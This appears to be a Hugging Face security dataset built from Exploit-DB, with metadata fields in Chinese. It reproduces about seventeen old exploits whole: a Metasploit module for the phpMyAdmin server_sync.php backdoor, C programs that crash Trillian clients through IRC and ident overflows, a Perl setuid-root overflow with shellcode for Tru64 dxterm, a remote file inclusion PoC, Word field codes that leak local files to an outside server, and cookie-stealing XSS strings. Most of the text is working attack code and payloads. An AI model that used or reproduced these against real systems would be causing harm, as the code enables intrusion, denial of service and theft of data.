QLWD/code_shield huggingface dataset:
标题: Apache 2.0.39/40 - Oversized STDERR Buffer Denial of Service EDB-ID: 21854 CVE: 2002-1850 类型: DOS 平台: LINUX 发布日期: 2002-09-24 漏洞利用脚本: // source: https://www.securityfocus.com/bid/5787/info

Apache is prone to a denial of service condition when an excessive amount of data is written to stderr. This condition reportedly occurs when the amount of data written to stderr is over the default amount allowed by the operating system.

This may potentially be an issue in web applications that write user-supplied data to stderr. Additionally, locally based attackers may exploit this issue. 

This issue has been confirmed in Apache 2.0.39/2.0.40 on Linux operating systems. Apache on other platforms may also be affected. This issue does not appear to be present in versions prior to 2.0.x.

// Credit to: K.C. Wong
#include <stdio.h>
#include <time.h>
#include <unistd.h>
#include <fcntl.h>

#define SIZE 4075

void out_err()
{
        char buffer[SIZE];
        int i = 0;

        for (i = 0; i < SIZE - 1; ++i)
                buffer[i] = 'a' + (char )(i % 26);

        buffer[SIZE - 1] = '\0';

//
fcntl(2, F_SETFL, fcntl(2, F_GETFL) | O_NONBLOCK);

        fprintf(stderr, "short test\n");
        fflush(stderr);

        fprintf(stderr, "test error=%s\n", buffer);
        fflush(stderr);
} // out_err()

int main(int argc, char ** argv)
{
        fprintf(stdout, "Context-Type: text/html\r\n");
        fprintf(stdout, "\r\n\r\n");
        out_err();
        fprintf(stdout, "<HTML>\n");
        fprintf(stdout, "<body>\n");
        fprintf(stdout, "<h1>hello world</h1>\n");
        fprintf(stdout, "</body>\n");
        fprintf(stdout, "</HTML>\n");
        fflush(stdout);
        exit(0);
} // main() URL: https://www.exploit-db.com/exploits/21854
标题: phpMyAdmin 3.5.2.2 - 'server_sync.php' Backdoor (Metasploit) EDB-ID: 21834 CVE: 2012-5159 类型: WEBAPPS 平台: PHP 发布日期: 2012-10-10 漏洞利用脚本: ##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::Tcp
 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'phpMyAdmin 3.5.2.2 server_sync.php Backdoor',
   'Description'    => %q{
     This module exploits an arbitrary code execution backdoor 
    placed into phpMyAdmin v3.5.2.2 thorugh a compromised SourceForge mirror.
   },
   'Author'         => [ 'hdm' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision$',
   'References'     => [ ['URL', 'http://www.phpmyadmin.net/home_page/security/PMASA-2012-5.php'] ],
   'Privileged'     => false,
   'Payload'        =>
    {
     'DisableNops' => true,
     'Compat'      =>
      {
       'ConnectionType' => 'find',
      },
     # Arbitrary big number. The payload gets sent as an HTTP
     # response body, so really it's unlimited
     'Space'       => 262144, # 256k
    },
   'DefaultOptions' =>
    {
     'WfsDelay' => 30
    },
   'DisclosureDate' => 'Sep 25 2012',
   'Platform'       => 'php',
   'Arch'           => ARCH_PHP,
   'Targets'        => [[ 'Automatic', { }]],
   'DefaultTarget' => 0))

  register_options([
   OptString.new('PATH', [ true , "The base directory containing phpMyAdmin try", '/phpMyAdmin'])
  ], self.class)
 end

 def exploit

  uris = []

  tpath = datastore['PATH']
  if tpath[-1,1] == '/'
   tpath = tpath.chop
  end

  pdata = "c=" + Rex::Text.to_hex(payload.encoded, "%")

  res = send_request_raw( {
   'global'  => true,
   'uri'     => tpath + "/server_sync.php",
   'method'  => 'POST',
   'data'    => pdata,
   'headers' => {
    'Content-Type'   => 'application/x-www-form-urlencoded',
    'Content-Length' => pdata.length,
   }
  }, 1.0)

  handler
 end
end URL: https://www.exploit-db.com/exploits/21834
标题: HP Procurve 4000M Switch - Device Reset Denial of Service EDB-ID: 21828 CVE: 2002-1147 类型: DOS 平台: HARDWARE 发布日期: 2002-09-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/5784/info

When multiple Procurve switches are used interconnected, it is common for an administrator to enable a feature allowing each switch to be viewed through a single interface, accessible via the web.

It has been reported that HP Procurve Switches are vulnerable to a denial of service attack, when used in a "stack" configuration. It is possible for an attacker to reset member switches by issuing a device reset command to a vulnerable device. Vulnerable devices do not require authentication before accepting this command.

It should be noted that the web interface is not enabled by default.

http://<IP ADDRESS>/sw2/cgi/device_reset? URL: https://www.exploit-db.com/exploits/21828
标题: HP Compaq Insight Manager - Web Interface Cross-Site Scripting EDB-ID: 21827 CVE: 2002-2422 类型: REMOTE 平台: HARDWARE 发布日期: 2002-09-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/5780/info

It has been reported that the Compaq Insight Manager web interface is prone to cross-site scripting attacks. It is possible to construct a malicious link to a Compaq Insight Manager web interface that includes arbitrary script code. When the link is visited with a web client, the script code will execute in the context of the Compaq Insight Manager web interface.

The component which appears to be affected is Compaq Insight Management Agents. However, further details about which software is vulnerable are not available.

http://<Server IP>:2301/<script>alert('Test')</script> URL: https://www.exploit-db.com/exploits/21827
标题: phpWebSite 0.8.2 - PHP File Inclusion EDB-ID: 21825 CVE: 2002-1135 类型: WEBAPPS 平台: PHP 发布日期: 2002-09-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/5779/info

A vulnerability has been discovered in phpWebsite which allows an attacker to remotely include a malicious PHP file. It is possible for an attacker to specify a remote location for phpWebsite to download an attacker-supplied htmlheader.php script. 

This issue could be exploited to execute arbitrary commands within the context of the webserver process.

The following proof of concept has been supplied by Tim Vandermeersch:

http://SERVER/catalog/inludes/include_once.php?inc_prefix=http://MYBOX/

--- htmlheader.php ---
<?php echo "<?php passthru("/bin/ls");?>" ?> . URL: https://www.exploit-db.com/exploits/21825
标题: Rudi Benkovic JAWMail 1.0 - Script Injection EDB-ID: 21817 CVE: 2002-1495 类型: WEBAPPS 平台: PHP 发布日期: 2002-09-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/5771/info

Problems with JAWMail could make it possible to execute arbitrary script code in a vulnerable client.

JAWMail does not sufficiently filter malicious HTML code from e-mails. As a result, when a user opens an email in JAWMail that contains malicious HTML code, the code contained in the mail would be executed in the browser of the mail user.

<b onMouseOver="alert(document.cookie)">bolder</b> URL: https://www.exploit-db.com/exploits/21817
标题: XOOPS 1.0 RC3 - HTML Injection EDB-ID: 21829 CVE: 2002-1802 类型: WEBAPPS 平台: PHP 发布日期: 2002-09-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/5785/info

Problems with XOOPS could make it possible to execute arbitrary script code in a vulnerable client.

XOOPS does not sufficiently filter potentially malicious HTML code from posted messages. As a result, when a user views a message posting that contains malicious HTML code, the code contained in the message would be executed in the browser of the vulnerable user. This will occur in the context of the site running the XOOPS software.


<IMG SRC="javascript:[javascript]"> URL: https://www.exploit-db.com/exploits/21829
标题: Microsoft Word 95/97/98/2000/2002 - 'INCLUDEPICTURE' Document Sharing File Disclosure EDB-ID: 21812 CVE: 2002-1143 类型: REMOTE 平台: WINDOWS 发布日期: 2002-09-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/5764/info

The INCLUDEPICTURE Field Code may be used to insert arbitrary URLs into a document. The INCLUDEPICTURE Field Code is reported to, under some circumstances, present a security threat.

If the INCLUDEPICTURE Field Code is included in a document and references a URL, it may be possible for the attacker to obtain contents of files on the victim user's system. It is possible for an attacker to abuse this functionality in a situation where documents are constantly being shared and updated.

An attacker can potentially exploit this vulnerability to obtain the contents of files residing on a victim user's system. 

{ INCLUDEPICTURE { QUOTE "http:\\www.alicesserver.com\" & { FILENAME \p } & { INCLUDETEXT "c:\\a.txt" } } \d }

{ INCLUDEPICTURE { QUOTE "http:\\www.alicesserver.com\" & { USERNAME } & { USERADDRESS } } \d }

(The curly braces above represent Microsoft Word field braces.) URL: https://www.exploit-db.com/exploits/21812
标题: Apple Mac OSX 10.2 - Terminal.APP Telnet Link Command Execution EDB-ID: 21815 CVE: 2002-1898 类型: LOCAL 平台: OSX 发布日期: 2002-09-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/5768/info

Mac OS X is the BSD-based operating system distributed and maintained by Apple.

It has been discovered that some types of links, when clicked on, may result in the execution of arbitrary commands. Due to the improper handling of some links, a user clicking on a link containing special characters and embedded commands could cause the execution of the commands in the link to be carried out in a terminal.app window. These commands would be executed in the security context of the user.

telnet://|ls -la URL: https://www.exploit-db.com/exploits/21815
标题: Trillian 0.725/0.73/0.74 - IRC User Mode Numeric Remote Buffer Overflow EDB-ID: 21816 CVE: 2002-1486 类型: DOS 平台: WINDOWS 发布日期: 2002-09-21 漏洞利用脚本: // source: https://www.securityfocus.com/bid/5769/info

Trillian is an instant messaging client that supports a number of protocols (including IRC, ICQ, MSN). It is available for Microsoft Windows systems. 

It has been reported that Trillian does not perform adequate bounds checking when receiving IRC raw user mode messages. When a Trillian client receives an instruction from a server for a raw user mode change containing 251 or more bytes of data, a buffer overflow occurs. This could result in denial of service, or the execution of arbitrary attacker supplied instructions.

/* Trillian-221.c
   Author: Lance Fitz-Herbert
   Contact: IRC: Phrizer, DALnet - #KORP
            ICQ: 23549284

   Exploits the Trillian "Raw 221" Flaw.
   Tested On Version .74 and .73
   Compiles with Borland 5.5 Commandline Tools.

   This Example Will Just DoS The Trillian Client,
   not particularly useful, just proves the flaw exists.

   Greets: AnAh, Hooves.
*/

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <winsock.h>

SOCKET s;

#define MSG1 ":server 221 target "

int main() {

        SOCKET TempSock = SOCKET_ERROR;
        WSADATA WsaDat;
        SOCKADDR_IN Sockaddr;
        int nRet;
        char payload[257];

        printf("\nTrillian Raw 221 Flaw\n");
        printf("---------------------\n");
        printf("Coded By Lance Fitz-Herbert (Phrizer, DALnet/#KORP)\n");
        printf("Tested On Version .74 and .73\nListening On Port 6667 For 
Connections\n\n");

        if (WSAStartup(MAKEWORD(1, 1), &WsaDat) != 0) {
                printf("ERROR: WSA Initialization failed.");
                return 0;
        }


        /* Create Socket */
        s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
        if (s == INVALID_SOCKET) {
                printf("ERROR: Could Not Create Socket. Exiting\n");
                WSACleanup();
                return 0;
        }

        Sockaddr.sin_port = htons(6667);
        Sockaddr.sin_family = AF_INET;
        Sockaddr.sin_addr.s_addr  = INADDR_ANY;


        nRet = bind(s, (LPSOCKADDR)&Sockaddr, sizeof(struct sockaddr));
        if (nRet == SOCKET_ERROR) {
                printf("ERROR Binding Socket");
                WSACleanup();
                return 0;
        }

        /* Make Socket Listen */
        if (listen(s, 10) == SOCKET_ERROR) {
                printf("ERROR: Couldnt Make Listening Socket\n");
                WSACleanup();
                return 0;
        }

        while (TempSock == SOCKET_ERROR) {
              TempSock = accept(s, NULL, NULL);
        }

        printf("Client Connected, Sending Payload\n");

        send(TempSock,MSG1,strlen(MSG1),0);
        memset(payload,'A',257);
        send(TempSock,payload,strlen(payload),0);
        send(TempSock,"\n",1,0);

        printf("Exiting\n");
        sleep(100);
        WSACleanup();
        return 0;
} URL: https://www.exploit-db.com/exploits/21816
标题: Trillian 0.73/0.74 - IRC PRIVMSG Buffer Overflow EDB-ID: 21810 CVE: 2002-1486 类型: REMOTE 平台: WINDOWS 发布日期: 2002-09-19 漏洞利用脚本: // source: https://www.securityfocus.com/bid/5755/info

Trillian is an instant messaging client that supports a number of protocols (including IRC, ICQ, MSN). It is available for Microsoft Windows systems.

A buffer overflow has been discovered in Trillian version .73 and .74. When processing a PRIVMSG command with an overly large sender name, a buffer overflow will occur resulting in memory corruption and a denial of service.

Although not yet confirmed, because memory can be overwritten, it may be possible for arbitrary attacker-supplied code to be executed with the privileges of the client.

/* Trillian-Privmsg.c
   Author: Lance Fitz-Herbert
   Contact: IRC: Phrizer, DALnet - #KORP
            ICQ: 23549284

   Exploits the Trillian Privmsg Flaw.
   Tested On Version .74 and .73
   Compiles with Borland 5.5 Commandline Tools.

   This Example Will Just DoS The Trillian Client,
   not particularly useful, just proves the flaw exists.
*/

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <winsock.h>

SOCKET s;

#define MSG1 ":server 001 target :target\n:"
#define MSG2 "!ident@address PRIVMSG target :You are the weakest link, 
Goodbye.\n"

int main() {

        SOCKET TempSock = SOCKET_ERROR;
        WSADATA WsaDat;
        SOCKADDR_IN Sockaddr;
        int nRet;
        char payload[300];

        printf("\nTrillian Privmsg Flaw\n");
        printf("----------------------\n");
        printf("Coded By Lance Fitz-Herbert (Phrizer, DALnet/#KORP)\n");
        printf("Tested On Version .74 and .73\nListening On Port 6667 For 
Connections\n\n");

        if (WSAStartup(MAKEWORD(1, 1), &WsaDat) != 0) {
                printf("ERROR: WSA Initialization failed.");
                return 0;
        }


        /* Create Socket */
        s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
        if (s == INVALID_SOCKET) {
                printf("ERROR: Could Not Create Socket. Exiting\n");
                WSACleanup();
                return 0;
        }

        Sockaddr.sin_port = htons(6667);
        Sockaddr.sin_family = AF_INET;
        Sockaddr.sin_addr.s_addr  = INADDR_ANY;


        nRet = bind(s, (LPSOCKADDR)&Sockaddr, sizeof(struct sockaddr));
        if (nRet == SOCKET_ERROR) {
                printf("ERROR Binding Socket");
                WSACleanup();
                return 0;
        }

        /* Make Socket Listen */
        if (listen(s, 10) == SOCKET_ERROR) {
                printf("ERROR: Couldnt Make Listening Socket\n");
                WSACleanup();
                return 0;
        }

        while (TempSock == SOCKET_ERROR) {
              TempSock = accept(s, NULL, NULL);
        }

        printf("Client Connected, Sending Payload\n");

        send(TempSock,MSG1,strlen(MSG1),0);
        memset(payload,'A',300);
        send(TempSock,payload,strlen(payload),0);
        send(TempSock,MSG2,strlen(MSG2),0);

        printf("Exiting\n");
        sleep(100);
        WSACleanup();
        return 0;
} URL: https://www.exploit-db.com/exploits/21810
标题: Microsoft VM 2000/3000/3100/3188/3200/3300/3802/3805 series - JDBC Class Code Execution EDB-ID: 21808 CVE: 2002-0866 类型: REMOTE 平台: WINDOWS 发布日期: 2002-09-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/5751/info

Java Database Connectivity (JDBC) classes are used by the Virtual Machine to provide connectivity to various data sources.

It is possible to spoof a JDBC class request to make it appear as though it came from an authorized applet. This could allow execution of any DLL on the system by a remote attacker.

new com.ms.jdbc.odbc.JdbcOdbc("C:\\mydll\000");

This results in the malicious applet loading the attacker-supplied DLL 'C:\mydll.dll'. URL: https://www.exploit-db.com/exploits/21808
标题: HP Tru64/OSF1 DXTerm - Local Buffer Overflow EDB-ID: 21807 CVE: 2002-1129 类型: LOCAL 平台: UNIX 发布日期: 2002-07-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/5746/info

The HP Tru64/OSF1 dxterm utility is prone to a locally exploitable buffer overflow condition. This issue is due to insufficient checking of command line input supplied via the "-xrm" parameter. This parameter serves the same purpose as the "-customization" command line parameter, which is also not sufficiently checked. 

Since this utility is installed setuid root, code execution that results from successful exploitation of this issue will yield root privileges on the system.

#!/usr/bin/perl -w
#
# Tru64 5.1 /usr/bin/X11/dxterm
#
# stripey (stripey@snosoft.com) - 03/07/2002
#

($offset) = @ARGV,$offset || ($offset = 0);

$ret_addr = pack("ll",(0x4001c828+$offset),0x1);

$sc .= "\x30\x15\xd9\x43\x11\x74\xf0\x47\x12\x14\x02\x42";
$sc .= "\xfc\xff\x32\xb2\x12\x94\x09\x42\xfc\xff\x32\xb2";
$sc .= "\xff\x47\x3f\x26\x1f\x04\x31\x22\xfc\xff\x30\xb2";
$sc .= "\xf7\xff\x1f\xd2\x10\x04\xff\x47\x11\x14\xe3\x43";
$sc .= "\x20\x35\x20\x42\xff\xff\xff\xff\x30\x15\xd9\x43";
$sc .= "\x31\x15\xd8\x43\x12\x04\xff\x47\x40\xff\x1e\xb6";
$sc .= "\x48\xff\xfe\xb7\x98\xff\x7f\x26\xd0\x8c\x73\x22";
$sc .= "\x13\x05\xf3\x47\x3c\xff\x7e\xb2\x69\x6e\x7f\x26";
$sc .= "\x2f\x62\x73\x22\x38\xff\x7e\xb2\x13\x94\xe7\x43";
$sc .= "\x20\x35\x60\x42\xff\xff\xff\xff";

$buf_a .= pack("l",0x47ff041f)x2048;
$buf_a .= $sc;
$buf_a .= $ret_addr;

exec("/usr/bin/X11/dxterm","-customization",$buf_a); URL: https://www.exploit-db.com/exploits/21807
标题: Trillian 0.6351/0.7x - Identd Buffer Overflow EDB-ID: 21804 CVE: 2002-1486 类型: REMOTE 平台: WINDOWS 发布日期: 2002-09-18 漏洞利用脚本: // source: https://www.securityfocus.com/bid/5733/info

Trillian ships with an ident server to facilitate connections to IRC servers that require an ident response before allowing access. A buffer overflow condition exists in the Trillian ident server, which may potentially be exploited to cause a denial of service or execute arbitrary code.

When the ident server receives a malformed request that is 418 bytes or more in length, the client crashes and memory is corrupted. It may be possible for an attacker to exploit the resulting memory corruption to execute arbitrary instructions with the privileges of the ident server.

/* Trillian-Ident.c
   Author: Lance Fitz-Herbert
   Contact: IRC: Phrizer, DALnet - #KORP
            ICQ: 23549284

   Exploits the Trillian Ident Flaw.
   Tested On Version .74 and .73
   Compiles with Borland 5.5
   This Example Will Just DoS The Trillian Client.

*/

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
char payload[500];
int main(int argc, char * argv[]) {
        int iret;
        struct hostent *host;
        SOCKET sockhandle;
        SOCKADDR_IN address;
        WSADATA wsdata;

        if (argc<2) {
                printf("\nTrillian Ident DoS\n");
                printf("----------------------\n");
                printf("Coded By Lance Fitz-Herbert (Phrizer, DALnet/#KORP)\n");
                printf("Tested On Version .74 and .73\n\n");
                printf("Usage: trillian-ident <address>");
                return 0;
        }

        WSAStartup(MAKEWORD(1,1),&wsdata);
        printf("Making Socket Now...\n");
        sockhandle = socket(AF_INET,SOCK_STREAM,IPPROTO_IP);

        if (sockhandle == SOCKET_ERROR) {
                printf("Error Creating Socket\n");
                WSACleanup();
                return 1;
        }

        printf("Socket Created\n");

        address.sin_family = AF_INET;
        address.sin_port = htons(113);
        address.sin_addr.s_addr = inet_addr(argv[1]);


        if (address.sin_addr.s_addr == INADDR_NONE) {
                host = NULL;
                printf("Trying To Resolve Host\n");
                host = gethostbyname(argv[1]);
                if (host == NULL) {
                        printf("Uknown Host: %s\n",argv[1]);
                        WSACleanup();
                        return 1;
                }
                memcpy(&address.sin_addr, host->h_addr_list[0],host->h_length);
        }



        printf("Connecting To Server...\n");
        iret = connect(sockhandle, (struct sockaddr *) &address,        sizeof(address));

        if (iret == SOCKET_ERROR) {
                printf("Couldnt Connect\n");
                WSACleanup();
                return 1;
        }

        printf("Connected to %s!\nSending Payload\n",argv[1]);
        memset(payload,'A',500);
        send(sockhandle,payload,strlen(payload),0);
        Sleep(100);
        WSACleanup();
        return 0;
} URL: https://www.exploit-db.com/exploits/21804
标题: SquirrelMail 1.2.6/1.2.7 - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 21811 CVE: 2002-1131 类型: WEBAPPS 平台: PHP 发布日期: 2002-09-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/5763/info

SquirrelMail is a feature rich webmail program implemented in the PHP4 language. It is available for Linux and Unix based operating systems.

Multiple cross site scripting vulnerabilities have been discovered in various PHP scripts included with SquirrelMail. By including embedded commands into a malicious link, it is possible for an attacker to execute HTML and script code on a web client in the context of the site hosting the webmail system.

This issue was reported for SquirrelMail 1.2.7, earlier versions may also be affected. 


http://<VULNERABLE
SITE>.net/webmail/src/addressbook.php?"><script>alert(document.cookie)</scri
pt><!--

http://<VULNERABLE
SITE>.net/webmail/src/options.php?optpage=<script>alert('boop!')</script>

http://<VULNERABLE
SITE>.net/webmail/src/search.php?mailbox=<script>alert('boop!')</script>&wha
t=x&where=BODY&submit=Search

http://<VULNERABLE
SITE>.net/webmail/src/search.php?mailbox=INBOX&what=x&where=<script>alert('b
oop!')</script>&submit=Search

http://<VULNERABLE
SITE>.net/webmail/src/help.php?chapter=<script>alert('boop!')</script> URL: https://www.exploit-db.com/exploits/21811
标题: Lycos HTMLGear - guestGear CSS HTML Injection EDB-ID: 21802 CVE: 2002-1493 类型: WEBAPPS 平台: CGI 发布日期: 2002-09-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/5728/info

Lycos htmlGEAR guestGEAR does not sanitize HTML from CSS (Cascading Style-Sheets) elements in guestbook fields. An attacker could capitalize on this situation to include arbitrary HTML and script code in a guestbook entries, which would be rendered in the web client of users who view the malicious guestbook entry.

Code injected in this manner will be executed in the security context of the website hosting the guestbook. 

It has also been reported that it is possible, in some versions of the software, to inject HTML into image tags.

By specifying an e-mail address/web page URL like the following:

" STYLE="expression([javascript])

The JavaScript block will execute. Some less-paranoid versions of the
guestbook also allow a typical IMG attack:

<IMG SRC="javascript:[javascript]"> URL: https://www.exploit-db.com/exploits/21802